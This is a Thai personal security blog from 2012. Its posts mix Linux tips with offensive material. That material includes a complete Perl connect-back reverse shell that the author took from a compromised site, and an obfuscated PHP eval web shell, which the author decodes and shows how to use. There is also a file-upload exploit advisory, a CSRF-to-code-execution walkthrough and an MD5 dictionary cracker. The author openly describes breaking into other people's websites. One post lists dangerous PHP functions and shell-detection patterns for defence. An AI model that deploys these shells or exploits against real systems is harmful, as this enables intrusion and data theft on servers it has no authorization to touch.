หน้าเว็บ

วันอาทิตย์ที่ 16 ธันวาคม พ.ศ. 2555

แก้ปัญหาภาษาไทยใน Line in Ubuntu ( Linux )

       
          เนื่องจากผมได้เล่นโปรแกรม Line เป็นโปรแกรมแชทที่ฮิตมาซักพักนึงแล้วล่ะ แต่ปกติผมใช้ Linux แต่ Line บนตัว Linux มันไม่มีมีแต่ของ Windows ซึ่งเป็นไฟล์ .exe ผมจึงเอามาลงบน Linux ผ่านโปรแกรม Wine
          จากนั้นก็เกิดปัญหาขึ้นคือ อ่านภาษาไทยไม่ได้ แต่พอดีพี่ที่รู้จักได้ทำวิธีแก้ไว้แล้วผมจึงยืมมาเขียนเป็นบล๊อกนะ อิอิ ขั้นตอนก็มีดังนี้ครับ


1. ไป Copy ฟอนต์ Tahoma.ttf  จาก Windows ไปไว้ใน c:\windows\fonts บน Wine Folder



2. เข้าใน Wine ที่ c:\Program Files\Naver\LINE\res\skin\basic\css\ หาไฟล์ common.css



3. Search หาคำว่า font-family จะเจอ font ชื่อเป็นภาษาจีน แก้ให้เป็น font-family:'Tahoma'; ให้หมดทั้งไฟล์



4. ปิดแล้วเปิดใหม่


จบแล้วครับแค่นี้ Line บน Linux ของท่านก็จะใช้ภาษาไทยได้แล้ว...

Download : Line
Special Thank : X-c0d3-D3ViL

แก้ปัญหา line บน linux ที่ line อัพเดทเวอร์ชั่นใหม่นะ เข้าไปที่ common.css แล้วลบ unicode-range:....; พวกนี้ออกให้หมด

วันจันทร์ที่ 26 พฤศจิกายน พ.ศ. 2555

Simple MD5 Brute Force from Dic.txt [ Python ]

#!usr/bin/python
import hashlib,sys

f = open("dic.txt","r")
for line in f:
 md5 = hashlib.md5()
 md5.update(line.strip())
 if sys.argv[1] == md5.hexdigest(): 
  print '%s = %s' % (sys.argv[1],line.strip())
f.close()
วิธีใช้
$ python md5.py <md5encode>

วันอังคารที่ 28 สิงหาคม พ.ศ. 2555

แนะนำโครงสร้างไดเรกเทอรี่ของ Linux



/

/ เรียกว่า root partition ไฟล์และไดเรกเทอรี่ทั้งหมดจะเริ่มต้นจาก root partition สิทธิ์ในการเขียนภายในไดเรกเทอรี่นี้ใช้ได้กับผู้ใช้ root เท่านั้น

/bin

ไดเรกเทอรี่นี้มีไฟล์ไบนารี่อยู่ คำสั่ง linux ที่ใช้ใน user เพียงคนเดียวจะเจอในไดเรกเทอรี่นี้ นอกจากนี้ยังมีคำสั่งที่ผู้ใช้ทั้งหมดใช้ด้วยเช่นคำสั่ง ls, ping, cp

/sbin

คล้ายกับ /bin นอกจากนี้จะมีไฟล์ไบนารี่อยุู่เช่นเดียวกับ /bin แต่คำสั่งในไดเรกเทอรี่นี้ จะถูกใช้โดยผู้ดูแลระบบ มีวัตถุประสงค์เพื่อบำรังรักษาระบบเช่นคำสั่ง iptables, reboot, fdisk

/etc

เป็นไดเรกเทอรี่ที่เก็บไฟล์ที่ไว้กำหนดค่า ตั้งค่าโปรแกรมทั้งหมด โดยที่ Shell scripts จำเป็นต้องมีโปรแกรมที่จะเริ่มหรือหยุด scripts นั้นๆ ตัวอย่างเช่น /etc/resolv.conf, /etc/logrotate.conf

/dev

ประกอบด้วยแฟ้มอุปกรณ์ใน linux รวมถึงอุปกรณ์ USB หรืออุปกรณ์อื่นๆที่มีการเชื่อมต่อกับเครื่องคอมพิวเตอร์ ตัวอย่างเช่น /dev/usbmon0

/proc

ข้อมูลทั้งหมดที่ process ของระบบจะเกิดขึ้นภายใน /proc เป็นแฟ้มที่มีข้อมูลเกี่ยวกับ process การทำงาน ยกตัวอย่างเช่น /proc เป็นไดเรกเทอรี่ที่เก็บข้อมูลของ process มีข้อมูลเกี่ยวกับทรัพยากรของระบบ /proc/uptime เป็นหนึ่งในไดเรกเทอรี่ในนี้

/var

var หมายถึงไฟล์ที่เปลี่ยนแปลงค่าได้ ไฟล์เหล่านั้นจะถูกเก็บไว้ในไดเรกทอรีนี้ที่มีการปรับเปลี่ยนตลอด บางไฟล์ที่อยู่ในที่นี่เป็น /var/log (log ไฟล์ระบบ) /var/lib (แฟ้มแพคเกจ), /var/mail (อีเมล), /var/spool (คิวการพิมพ์), / var/tmp (แฟ้มชั่วคราว)

/tmp

ตัวระบบเองจะสร้างไฟล์ชั่วคราวที่ผู้ใช้ใช้งานเก็บไว้ในนี้ ไฟล์ที่สำคัญไม่ควรเก็บไว้ในนี้เพราะไฟล์ใน /tmp จะถูกลบออกทุกครั้งหลังปิดเครื่อง

/usr

/usr ไฟล์ต่างๆของผู้ใช้จะถูกเก็บไว้ในนี้ หรือโปรแกรมที่ผู้ใช้ลงก็จะถูกเก็บไว้ในนี้เช่นกัน

/home

ไฟล์ส่วนตัวของผู้ใช้ทุกคนจะถูกเก็บไว้ใน home ไดเรกเทอรี่ภายใต้ชื่อของผู้ใช้

/boot

ไดเรกเทอรี่นี้เก็บไฟล์ที่จำเป็นและสำคัญใช้ในการ boot ระบบ ในขณะที่ boot ระบบจะเข้าไปหาไฟล์ใน /boot ซึ้งมีไม่กี่ไฟล์ที่จะอยู่ในไดเรกเทอรี่นี้

/lib

ไฟล์ไบนารี่ที่อยู่ใน /bin และ /sbin จะได้รับการสนับสนุนโดยไฟล์ที่อยู่ใน /lib เป็นที่เก็บแพคเกจไฟล์

/opt

เป็นไดเรกเทอรี่ที่ใช้เก็บ add-on ที่ใช้งาน จะถูกติดตั้งใน /opt หรือไดเรกเทอรี่ย่อย

/mnt

เป็นไดเรกเทอรี่ mount มันเป็นที่เก็บไฟล์ mount ชั่วคราว เป็นที่ที่ admin สามารถ mount ไฟล์ได้ชั่วคราว

/media

/media ทำหน้าที่เป็นจุดเชื่อมต่อชั่วคราวสำหรับอุปกรณ์ที่เชื่อมต่อประเภท Removable Drive ไดร์ฟที่ถอดออกได้ ไดร์ฟที่ถอดออกได้ทั้งหมดจะอยู่ในไดเรกเทอรี่นี้ ตัวอย่างเช่น /media/cdrom หรือ /media/floppy

/srv

srv หมายถึงบริการ ข้อมูลทั้งหมดที่เกี่ยวข้องกับการใช้บริการสำหรับเซิฟเวอร์จะถูกบันทึกไว้ที่ไดเรกเทอรี่นี้

วันอาทิตย์ที่ 26 สิงหาคม พ.ศ. 2555

Safely remove hardware on Ubuntu with Ejecter.



          เนื่องจากผมมีปัญหากับการถอดไดร์ฟ External HDD ออกบน Ubuntu แล้วทำให้เครื่องค้าง เลยหาโปรแกรมที่ช่วยถอดไดร์ฟ วันนี้เลยจะมาแนะนำโปรแกรมสำหรับถอดไดร์ฟออกอย่างปลอดภัยคือ Ejecter (application to unmount easily and safely external devices) นั่นเอง ถ้ามีโปรแกรมที่รันอยู่บน external devices แล้วเราต้องการถอดออกมันจะเตือนดังรูป..



          วิธีติดตั้งก็ง่ายมากๆ เข้า Ubuntu Software Center แล้วพิมพ์ ejecter แล้วเลือกเลยครับ จากนั้นกด Install เลยครับ พอลงเสร็จก็ restart เครื่องซักครั้ง เท่านั้นก็เสร็จครับ...

Source : https://launchpad.net/ejecter/

วันศุกร์ที่ 17 สิงหาคม พ.ศ. 2555

Search String in Files on Directory and Subdirectory [ Perl ]



use File::Find;

print "\n\n\t### Search String in Files on Directory and Subdirectory By ICheer_No0M ###\n\n";
print 'Path File : ';
chomp($path=<stdin>);
print 'Search Keyword : ';
chomp($string=<stdin>);
$keyword  = AddSlashes($string);
find(\&file_names, $path);
sub file_names {
 if($_ =~ /\.php$/){
  $file = $File::Find::name;
  open (MYFILE, $file);
  $line = 1;
   while (<MYFILE>) {
   $content .= $_;
   if($content=~/$keyword/){
     print "\nFound : $string\n";
    print "On Line : $line\n";
    print "On File : $file\n";
   }
  $line += 1;
  $content = "";
  }
  close (MYFILE);
 }
}
print "\n\n\t### Finding $string on $path Complete... ###\n\n";

sub AddSlashes {
    $text = $_[0];
    $text =~ s/\\/\\\\/g;
    $text =~ s/\$/\\\$/g;
    $text =~ s/\'/\\'/g;
    $text =~ s/\"/\\\"/g;
    $text =~ s/\[/\\[/g;
    $text =~ s/\]/\\\]/g;
    $text =~ s/\(/\\(/g;
    $text =~ s/\)/\\\)/g;
    $text =~ s/\\0/\\\\0/g;
    return $text;
}

เจอบักก็แก้เอานะครับ ตอนแรกจะไม่ปล่อย เขียนลวกๆ เอาไว้ใช้เอง เก๋ๆ เลียนแบบ grep #กะไว้ใช้ใน windows ด้วย
$ find /var/www/exploit -name "*.php" -exec grep -l "base64" {} \;

วันพฤหัสบดีที่ 16 สิงหาคม พ.ศ. 2555

MobileCartly 1.0 Remote File Upload Vulnerability


ไฟล์ logo-upload-process.php น่าจะเขียนผิดตรง $_SERVER['DOCUMENT_ROOT'] . "/appcode/ <-- ต้องแก้จาก 
$_SERVER['DOCUMENT_ROOT'] . "/appcode/images/logo/" . $_FILES["logo-upload"]["name"]);
ไปเป็น
"../images/logo/" . $_FILES["logo-upload"]["name"]);
ถึงจะใช้งานไฟล์ logo-upload.php ได้ #MobileCartly


# Exploit Title: MobileCartly 1.0 Remote File Upload Vulnerability
# Google Dork: -
# Date: 14/08/2012
# Exploit Author: ICheer_No0M
# Vendor Homepage: http://icheernoom.blogspot.com/
# Software Link: http://mobilecartly.com/mobilecartly.zip
# Version: 1.0
# Tested on: Ubuntu 10.10 + PHP 5.3.3
#
#
# 1. Vuln Code : /images/uploadprocess.php
#
#   /*$zip = new ZipArchive; 
#   $zip->open($_FILES['uploadedfile']['tmp_name']); 
#   $zip->extractTo('productimages/'); 
#   $zip->close(); */
#
#  You can upload shell.php on /images/upload.php 
#  Find your shell on /images/productimages/shell.php
#
#
# 2. Vuln Code : /includes/logo-upload-process.php
#
# /*if (($_FILES["logo-upload"]["type"] == "image/gif") 
# || ($_FILES["logo-upload"]["type"] == "image/jpeg") 
# || ($_FILES["logo-upload"]["type"] == "image/pjpeg")
# && ($_FILES["logo-upload"]["size"] < 20000))*/
#
# You can upload shell on /includes/upload-logo.php and edit header values.
# Find your shell on /images/logo/shell.php
#
#

http://www.exploit-db.com/exploits/20539/

วันจันทร์ที่ 23 กรกฎาคม พ.ศ. 2555

การสร้าง Template ใน Dreamweaver CS5

การสร้าง Template ใน Dreamweaver CS5 โดยเป็น Template ที่ดาวน์โหลดมาครับ



วันอังคารที่ 19 มิถุนายน พ.ศ. 2555

ลง Windows 7 , BlackBuntu..

          สวัสดีครับ วันนี้บล๊อกไม่มีอะไรครับจะมาบ่นอะไรนิดๆหน่อยๆ ประสบการณ์ และปัญหาในการลง Windows 7 และ BlackBuntu ( Dual Boot ) เนื่องจากตอนนี้ผมเปลี่ยนมาใช้ Linux เป็น OS หลักแล้ว

          เนื่องจากได้ External HDD 1 TB มาเป็นของขวัญวันเกิดของตัวเอง ( ซื้อให้ตัวเอง ) แล้วเลยเก็บไฟล์ไว้ในนี้หมดเลยครับ พวกโปรแกรมที่เขียนๆไว้ พวกสคริปโปรแกรมต่างๆ อยู่ในนี้หมด HDD 160GB ของผมเลยต้องนำมาใช้ประโยชน์กับตัวเองซักหน่อย โดยการลง Linux และ 7 เพื่อใช้งาน :)...



          ก่อนหน้านี้ใช้ Windows XP เพราะสเปคคอมผมช้ามา เพราะซื้อมาจะ 3 ปีแล้วครับสเปคเครื่องตามนี้ ( กำลังจะอัพแรมเป็น 4GB และ >_<" อัพแล้ว 28/07/2012 ) เมื่อสามปีก่อน เครื่องผมแรงมากเลยนะ ฮาา เทียบกับสมัยนี้คนละเรื่องเลย เทคโนโลยีมันอัพเดททุกเวลาจริงๆ ...


         CPU :             Intel Pentium Dual Core E5300 2.6 GHz

         RAM :            DDR2 800/1066 4GB

         Harddisk :      Samsung SATA 160 GB

         VGA :            NVIDIA Geforce 9400GT 512MB


          ตอนที่ลงนั่นใช้เวลาพอสมควรครับวางแผนไว้ว่า HDD160 GB จะแบ่งเป็น 3 ส่วนคือ Windows 7 = 60GB , BlackBuntu = 40GB , Data 50 GB พอได้ตามนี้ผมก็เริ่มเลยครับ และระหว่างลงมีปัญหานิดหน่อยจะไล่แต่ละเหตุการณ์ให้ฟังครับ ฮาๆ

         - DVD Drive ของเครื่องผมไม่ยอมอ่านแผ่น DVD ที่ใช้ลง (ปกติอ่านได้นะ T_T) เลยต้องยืมเพื่อนมาก่อน
         - ลง BlackBuntu 0.3 ปรากฏว่าลงไม่ได้ เพราะยังไม่ได้ Format HDD 160GB
         - ใช้ Partition Magic 8.5 จากแผ่น Hiren Boot CD ไม่ได้เพราะเก่าเกินไป HDD แจ้ง partition table error #105 found
         - ใช้แผ่น Windows 7 ในการ Format และแบ่ง Partition เลย
         - ลง Windows 7 Professional 32Bit สำเร็จ
         - ลง BlackBuntu 0.3 สำเร็จ
         - BlackBuntu ไม่มีไดร์ฟเวอร์ nVidia ให้ต้องลงเอง นอกนั้นไดร์ฟเวอร์เจอหมด *0*

         จากนั้นก็ไม่มีอะไรมาก ตอนบูทเครื่องจะให้เลือกเลยว่าจะใช้ OS ไหนถ้าไม่มีการเลือก 10 วิก็จะรันเข้า BlackBuntu เพราะถ้าไม่มีอะไรที่จะต้องทำบน Windows เช่นเขียนโปรแกรมหรือทำอะไรเฉพาะผมก็ใช้ BlackBuntu เป็นหลักครับ เครื่องไม้เครื่องมือเยอะดี อิอิ ( เครื่องมืออะไรคงไม่ต้องบอก )

         เหตุผลที่ผมใช้ BlackBuntu ( Based on Ubuntu ) ก็เพราะต้องการศึกษาระบบไฟล์ของ Linux บ้างเพราะอยู่บน Windows มา 20 ปีแล้ว ฮาๆ อีกอย่างคนไทยเราเป็น Develop ได้ฝึกพิมพ์เพราะเป็น Command Line ล้วนๆ ถึงแม้จะมี GUI บ้างก็เถอะ แต่รู้สึกว่าพิมพ์เยอะกว่ามาก..ความจริงอยากจะใช้มาตั้งนานแล้วแต่ว่าติดหลายเรื่องเลยไม่ได้ลงใช้ซักที คราวนี้ได้ใช้ได้ศึกษาจริงๆซักที นี่คือ Desktop ที่ใช้ล่าสุดครับ :D




ท้ายสุดนี้ก็ต้องขอขอบคุณ @Kalumnoy ที่ช่วยแก้ปัญหาต่างๆนะครับ :)

วันพุธที่ 6 มิถุนายน พ.ศ. 2555

ปิด Functions อันตรายใน PHP.



          สวัสดีครับ ห่างหายไปนานกับการเขียนบล๊อกเนื่องจากช่วงปิดเทอมแล้วเพิ่งเปิดเทอมก็มาอยู่หอแล้วตอนนี้ :) เข้่าเรื่องดีกว่า เรื่องของเรื่องคือผมอ่านทวิตเตอร์อยู่แล้วไปเจอ ลิงค์นี้ PHP Shell Detector – web shell detection tool สคริปนี้เป็น Tool ที่ใช้ตรวจสอบและค้นหา php shell ครับผมเลยลองเปิดไฟล์หลักดูพบกับโค้ด..
private $_regex = '%(preg_replace.*\/e|\bpassthru\b|\bshell_exec\b|\bexec\b|\bbase64_decode\b|\beval\b|\bsystem\b|\bproc_open\b|\bpopen\b|\bcurl_exec\b|\bcurl_multi_exec\b|\bparse_ini_file\b|\bshow_source\b)%'; //system: regex for detect Suspicious behavior

          ผมก็เลยสดุดตาว่าพวกนี้เป็นฟังก์ชั่นของ php ที่อันตรายสคริปนี้ดักไว้หมดเลยนี่หว่า :O เลยจับมาเขียนบทความซะหน่อยว่าควรจะปิดฟังก์ชั่นไหนอย่างไร

- สิ่งที่ควรทำ ?
          ฟังก์ชั่นอันตรายของ php อะไรบ้างที่ควรปิดมัน เพราะมันไม่ปลอดภัยเลยถ้าเปิดฟังก์ชั่นพวกนี้อยู่ เพราะมันจะเป็นอันตรายต่อ server และข้อมูลที่เก็บไว้ของคุณนั้นเอง แต่ถ้าคุณยังใช้ฟังก์ชั่นที่อันตรายนั้นๆอยู่ควรจะใช้มันด้วยความปลอดภัย เขียนโค้ดให้รัดกุมเพื่อป้องกันการถูกเจาะได้ครับ...

- ทำไมต้องทำ ?
          ปิดการใช้งานฟังก์ชั่นอันตรายจะทำให้การโจมตีนั้นยากยิ่งขึ้นและเพิ่มประสิทธิภาพของเว็บในการเสี่ยงที่จะโดนแฮกได้ ซึ่งการโจมตีที่พบมากนั้นคือช่องโหว่ Upload File นั้นเองซึ่งจะสามารถอัพโหลดสคริปอันตรายที่มีฟังก์ชั่นอันตรายเข้ามาใน server และโจมตี server ได้เราจึงต้องปิดฟังก์ชั่นอันตรายของ php เพื่อทำให้สคริปนั้นใช้งานไม่ได้หรือใช้งานได้ยากขึ้นนั้นเอง..

- ทำอย่างไร ?
          ขั้นแรก list รายชื่อฟังก์ชั่นที่อันตรายซึ้งมีดังนี้ (ซึ่งอาจมีมากกว่านี้ ดูที่ Ref )..
eval
system
exec
shell_exec
passthru
popen
proc_open
parse_ini_file
show_source
symlink
curl_exec
curl_multi_exec
          ขั้นที่สอง ปิดการใช้งานฟังก์ชั่นนั้นๆที่ไฟล์ php.ini ครับซึ่ง php.ini นั้นใน windows จะอยู่ที่..
C:\Windows\php.ini
(แล้วแต่การ config path)
         และใน linux จะอยู่ที่...
/etc/php5/apache2/php.ini
/usr/local/lib/php.ini
(แล้วแต่การ config path)
         ให้ค้นหา "disable_functions" ในไฟล์ php แล้วเพิ่มชื่อฟังก์ชั่นที่ต้องการจะปิดเข้าไปครับเช่นตัวอย่าง..
disable_functions =eval,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
          เมื่อเสร็จแล้วก็ทำการ Save ไฟล์ php.ini แล้ว Restart Web Server เป็นอันเสร็จครับ หรือถ้าเลี่ยงไม่ได้ที่จะต้องใช้ควรกรอง input ด้วยฟังก์ชั่น escapeshellarg() เพื่อป้องกันการใช้คำสั่งอันตรายครับ..
          ขอจบบทความเพียงเท่านี้ ขอบคุณที่อ่านจนจบครับผม ,, ICheer_No0M

Ref : http://web.securityinnovation.com/appsec-weekly/blog/bid/79067/Disable-Dangerous-Functions-in-PHP
http://blog.eukhost.com/webhosting/dangerous-php-functions-must-be-disabled/

วันศุกร์ที่ 27 เมษายน พ.ศ. 2555

แฉ Shell.php ของฝรั่ง ที่ผมไปแฮคเจอมา !!

          สวัสดีครับห่างหายไปนานกับการเขียนบล๊อกพอสมควรเนื่องจากอยู่ในช่วงปิดเทอมและผมก็กลับบ้า่นด้วย วันนี้มีโอกาสมาหอเลยเขียนบทความลงบล๊อกซะหน่อยไม่ให้บล๊อกร้าง 55
          เรื่องมันมีอยู่ว่าผมได้เขียน Exploit ไว้เจาะ Web Application ซึ่งเ้ป็น CMS ตัวนึงมีเว็บที่ใช้ CMS นี้เยอะเลยทีเดียวนะ ผมก็ทดสอบกับหลายๆเว็บ ปรากฏว่าผ่าน เมื่อผมเจาะไปวาง Shell ของผมได้แล้วผมก็ทำการสำรวจเจอไฟล์แปลกๆชื่อ jquery_ajax.php ที่เพิ่งสร้างเมื่อไม่นานมานี้



          ด้วยความสงสัยผมก็เลยเอาบอทอ่านไฟล์ jquery_ajax.php ว่าข้างในมีโค้ดอะไรอยู่...

<?php eval(base64_decode('ZWNobyAifDBYMXwiOyBpZiAobWQ1KCRfUkVRVUVTVFsncCddKT09JzQwYTk3YWFlM2ExZjBkNTFjMjM3MDRjZGQ2OTUxZDg1Jyl7ZXZhbChzdHJpcHNsYXNoZXMoJF9SRVFVRVNUWydjJ10pKTt9IGVjaG8gInwwWDJ8Ijs='));?>

          จะได้โค้ดดังกล่าวมาเป็น eval(base64_decode()) ผมเลยจัดการ decode base64 ออกมาก็จะได้เป็น..

echo "|0X1|";
if (md5($_REQUEST['p'])=='40a97aae3a1f0d51c23704cdd6951d85'){
 eval(stripslashes($_REQUEST['c']));
} 
echo "|0X2|";

          อ่า decode ออกมาค่อยอ่านง่ายๆหน่อย :) หลักการใช้ Shell ตัวนี้ของฝรั่งคือมันจะมีการเข้ารหัส md5 อยู่ครับซึ่งเราต้องถอด md5 ให้ออกก่อนนะแต่นี่มันเข้ารหัสอะไรมาก็ไม่รู้ ผมลองเปลี่ยน md5 ของมันจาก 40a97aae3a1f0d51c23704cdd6951d85 มาเป็น 202cb962ac59075b964b07152d234b70 นะครับ ( 123 ) ส่วนการเรียกใช้จะเห็นได้ว่ามีการตรวจสอบเงื่อนไข if อยู่จากค่าที่มาจาก $_REQUEST ( $_REQUEST ก็คล้ายๆ $_GET นั้นแหละ ) ตรวจสอบว่าใช่ค่าของ md5 รึเปล่าถ้าเป็นจริง ก็อนุญาตให้เราใช้ Shell.php นี้ได้ด้วยฟังก์ชั่น eval() ครับ...

          ซึ่งการเรียกใช้ก็จะเป็นแบบนี้นะครับ...

http://localhost/jquery_ajax.php?p=[ค่าที่ถอดมาจาก md5]&c=[คำสั่งที่จะสั่ง shell]

          โดยที่พารามิเตอร์ p จะรับค่า md5 ที่ถูกต้องและพารามิเตอร์ c จะรับคำสั่งที่เราต้องการสั่ง Shell.php นั้นนะครับ คราวนี้ผมจะลองสั่งดูบ้างโดยลองใน localhost ของผมเองนะ..

http://localhost/jquery_ajax.php?p=123&c=system("dir");

          อย่างที่บอกไ้ว้ข้างต้นคือผมถอด md5 มันไม่ได้เลยเอา 123 ง่ายๆครับ ส่งค่าเข้าไปผลลัพธ์ที่ได้ก็จะได้เป็นแบบนี้ครับผม...


           เรียบร้อยครับคราวนี้ก็ใช้ Shell ของฝรั่งได้แล้วแต่ผมไม่ได้ใช้หรอกผมลบ Shell นี้ทิ้งจาก Server เหยื่อไปแล้ว :) ขอจบบทความแฉ Shell.php ของฝรั่งเพียงเท่านี้ครับ ขอบคุณที่อ่านจนจบครับผม ,, ICheer_No0M

วันพฤหัสบดีที่ 26 เมษายน พ.ศ. 2555

Shell Remote Code Execution [ POST METHOD With C# ]

          เนื่องจากลองเขียน C# ดูก็เลยกะว่าจะลองอยู่ 3-4 เรื่องในภาษานี้ 1.คือ GET/POST 2.เรื่องการใช้ Socket ซึ้งใน M$ ก็มีให้อ่านกันอยู่แล้วนะครับ Docs เยอะมาก :D วันนี้ก็เลยลองงมการส่งค่าแบบ POST ใน C# โดยใช้ HttpWebRequest ก่อนหน้านี้เขียนกับ Perl แต่อยากลองกับภาษา C# บ้าง ผลที่ได้คือผมจะเขียน Shell.php ไว้แล้ว Input URL ของ Shell.php จากนั้นก็สั่งใช้งาน Shell.php อีกทีหนึ่งผ่าน POST METHOD ผลที่ได้..



วันจันทร์ที่ 19 มีนาคม พ.ศ. 2555

Cross Site Request Forgery => Remote Code Execution

          สวัสดีครับหลังจากหายไปนานเนื่องจากเข้าค่ายอาสาและอ่านหนังสือสอบ ช่วงนี้เลยว่างมาเขียนบทความมาให้ท่านที่ติดตามได้อ่านกัน บทความนี้เกี่ยวกับ  CSRF ,,  CSRF คือการโจมตีโดยการส่งข้อมูลมาจากที่อื่นที่ไม่ใช่เว็บของเรา ผ่านทาง tag HTML.. ส่วนการใช้ RCE จาก CSRF นั้นมาจาก IRC ได้พูดถึงการประยุกต์ใช้ Exploit CSRF เพื่อทำ Remote Code Execution ยกตัวอย่าง Acal Calendar 2.2.6 CSRF Vulnerability ที่มีช่องโหว่นี้ แต่ก็ไม่ใช่ทุก Exploit  CSRF นะครับที่ทำแบบนี้ได้ เริ่มกันเลย...
          เริ่มจากการ Download Script มาดูกันเลยไฟล์ที่บัคก็จะเป็นไฟล์ admin/edit.php นะครับ ซึ่งจะบัคตรง Edit/Add Header , Footer นะครับ ซึ่งเราสามารถเขียนโค้ด PHP ลงไปในสองไฟล์นี้ได้เลย เรามาดูโค้ดที่บัคกันครับ..

if (isset($_GET['edit']) && $_GET['edit'] == 'header') {
 $file = '../header.php';
 $fh = fopen($file, 'w');
 $head = stripslashes($_POST['header']);
 fwrite($fh, $head);
 fclose($fh);
 echo "<span style=\"color: red;\">Header has been changed!</span>";
}
if (isset($_GET['edit']) && $_GET['edit'] == 'footer') {
 $file = '../footer.php';
 $fh = fopen($file, 'w');
 $foot = stripslashes($_POST['footer']);
 fwrite($fh, $foot);
 fclose($fh);
 echo "<span style=\"color: red;\">Footer has been changed!</span>";
}

          จะเห็นว่ามีการเขียนไฟล์ลงไปที่ไฟล์ footer , header ด้วยฟังก์ชั่น fwrite คือจะสามารถเพิ่มโค้ด PHP อะไรไปก็ได้เมื่อเข้า admin/edit.php โดยตรงก็จะได้หน้านี้..


          โดยรวมแล้วคือเขียน Shell เพื่อ Remote Code Execution โดยตรงจากตรงนี้ได้เลยนะครับ อย่างที่บอกคือต้องดูที่โค้ดด้วยนะครับว่าบัคแบบเขียนไฟล์ได้หรือเปล่าสำหรับ CSRF Exploit นี้สามารถทำได้ผมเลยจัดการรวบรัดเป็นขั้นตอนเดียวกันเลยดีกว่า โดยเขียนเป็น IRC Bot ทดลองใน Localhost...


          ขั้นตอนแรกคือสั่งบอทให้เขียน Shell ลงไปที่ไฟล์ header/footer จากนั้นก็ใช้บอทเรียกใช้ไฟล์ดังกล่าวจากรูปคือการตรวจสอบทรัพยากรของเครื่องเหยื่อนะครับ บทความนี้เขียนขึ้นเพื่อการศึกษาไม่ใช่ทำลายแต่อย่างใด เรียนรู้เพื่อศึกษาและป้องกันนะครับ ขอจบบทความเพียงเท่านี้ ,, ICheer_No0M

Special Thank : X-c0d3

วันอาทิตย์ที่ 12 กุมภาพันธ์ พ.ศ. 2555

Back Connect [ Perl ]


          เรื่องมีอยู่ว่าผมไปซนเว็บต่างประเทศมาเว็บนึงจาก Exploit เดิมๆนั้นแหละ ไม่ขอเอ่ยว่า Exploit ไหน เว็บอะไรนะครับ ซนเข้าไปวาง Shell ได้แล้วก็สำรวจเครื่องดูเจอไฟล์ .pl แปลกๆเลยใช้บอทอ่านไฟล์ .pl นั้นดู ปรากฏว่าเป็น Back Connect ครับ สันนิฐานได้ว่าโดนเจาะมาก่อนผมแล้ว เลยเอาโค้ด Back Connect มาแปะไว้ที่บลอกดีกว่า ความจริงโค้ดชุดนี้ก็หาได้ตาม Google ทั่วไป ^^

#!/usr/bin/perl
use IO::Socket;
#Sleepwalker Connect Back Shell                                          
#--== ConnectBack Backdoor Shell vs 1.0 by SW ==--
#
#Usage: dc.pl [Host] [Port]
#
#Ex: dc.pl 127.0.0.1 2121
#--== ConnectBack Backdoor Shell vs 1.0 by SW  ==--
#
#[*] Resolving HostName
#[*] Connecting... 127.0.0.1
#[*] Spawning Shell
#[*] Connected to remote host

#bash-2.05b# nc -vv -l -p 2121
#listening on [any] 2121 ...
#connect to [127.0.0.1] from localhost [127.0.0.1] 2121
#--== ConnectBack Backdoor vs 1.0 by SW ==--
$system = '/bin/bash';
$ARGC=@ARGV; 
print "--== ConnectBack Backdoor Shell vs 1.0 by SW ==-- \n\n"; 
if ($ARGC!=2) { 
   print "Usage: $0 [Host] [Port] \n\n"; 
   die "Ex: $0 127.0.0.1 2121 \n"; 
} 
use Socket; 
use FileHandle; 
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n"; 
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n"; 
print "[*] Resolving HostName\n";
print "[*] Connecting... $ARGV[0] \n"; 
print "[*] Spawning Shell \n";
print "[*] Connected to remote host \n";
SOCKET->autoflush(); 
open(STDIN, ">&SOCKET"); 
open(STDOUT,">&SOCKET"); 
open(STDERR,">&SOCKET"); 
print "--== ConnectBack Backdoor vs 1.0 by SW  ==--  \n\n"; 
system("unset HISTFILE; unset SAVEHIST ;echo --==Systeminfo==-- ; uname -a;echo;
echo --==Userinfo==-- ; id;echo;echo --==Directory==-- ; pwd;echo; echo --==Shell==-- "); 
system($system);
#EOF

ส่วนวิธีใช้คงไม่ต้องบอกนะครับ :P

วันจันทร์ที่ 6 กุมภาพันธ์ พ.ศ. 2555

[ VDO ] Serial Fishing : RAR Password Recovery Magic


          ไม่รู้จะอัพเดทบลอกเรื่องอะไรดี ไปค้นๆเจอวีดีโอ Serial Fishing แบบง่ายๆพื้นฐานๆ เอามาปล่อยบลอกดีกว่าอีกอย่างไม่ได้ฟื้นฟูสกิล Reverse Engineering มานานแล้ว เริ่มๆลืมไปหมดแล้ว ฮ่ะๆๆ


Tools : OllyDbg , PEiD

Download VDO : http://www.mediafire.com/?p7j2v28v184xw9q

Download Program : http://www.password-recovery-magic.com/rar_password_recovery/index.htm

วันศุกร์ที่ 27 มกราคม พ.ศ. 2555

การหาจุดที่ Bug จาก CMS แบบพื้นฐาน

          สวัสดีครับ ห่างหายไปนานเลยเนื่องจากอยู่ในช่วงสอบจึงไม่ค่อยได้เขียนบล๊อกหรือไม่รู้จะเขียนเรื่องอะไรดี วันนี้เลยจะมานำเสนอพื้นฐานการหา Bug จาก CMS มาให้ดูเป็นตัวอย่างกันครับ

          เนื่องด้วยเว็บที่ผมใช้เช็คว่า CMS ไหนมี Bug อะไรให้ศึกษามีอยู่ประมาณ 3-4 เว็บ แต่ขอยกตัวอย่าง Exploit-DB.com และ 1337day.com นะครับ ซึ้งเราก็จะเห็นว่ามีการประกาศ ก็จะมีโค้ดให้ทราบว่า บัคตรงนั้นนะ มีรูตรงนี้ให้เราเข้าไปซนได้ แต่ถ้าไม่ีมีโค้ดบอกว่า บัคยังไงล่ะ เรามาหาจุดตรงที่มันบัคกันดีกว่าครับ

          บทความนี้ขอยกตัวอย่าง Peel SHOPPING - Version 2.8 and Version 2.9 XSS/SQL Inject Vulnerability ซึ้งถ้าเข้าไปจะเห็นแค่


http://localhost/peel/index.php/achat/recherche.php?motclef=[Xss Here ]&action=Rechercher
http://localhost/peel/administrer/tva.php?mode=modif&id=[SQL]
http://localhost/peel/index.php/[XSS]

          แต่จะไม่มีบอกว่าบัคได้อย่างไร เราก็แค่เข้าไปที่ Software Link ครับ ไปโหลด CMS นี้มาชำแหละโค้ดดูกันครับ บทความนี้ขอยกตัวอย่าง SQL Injection นะครับ


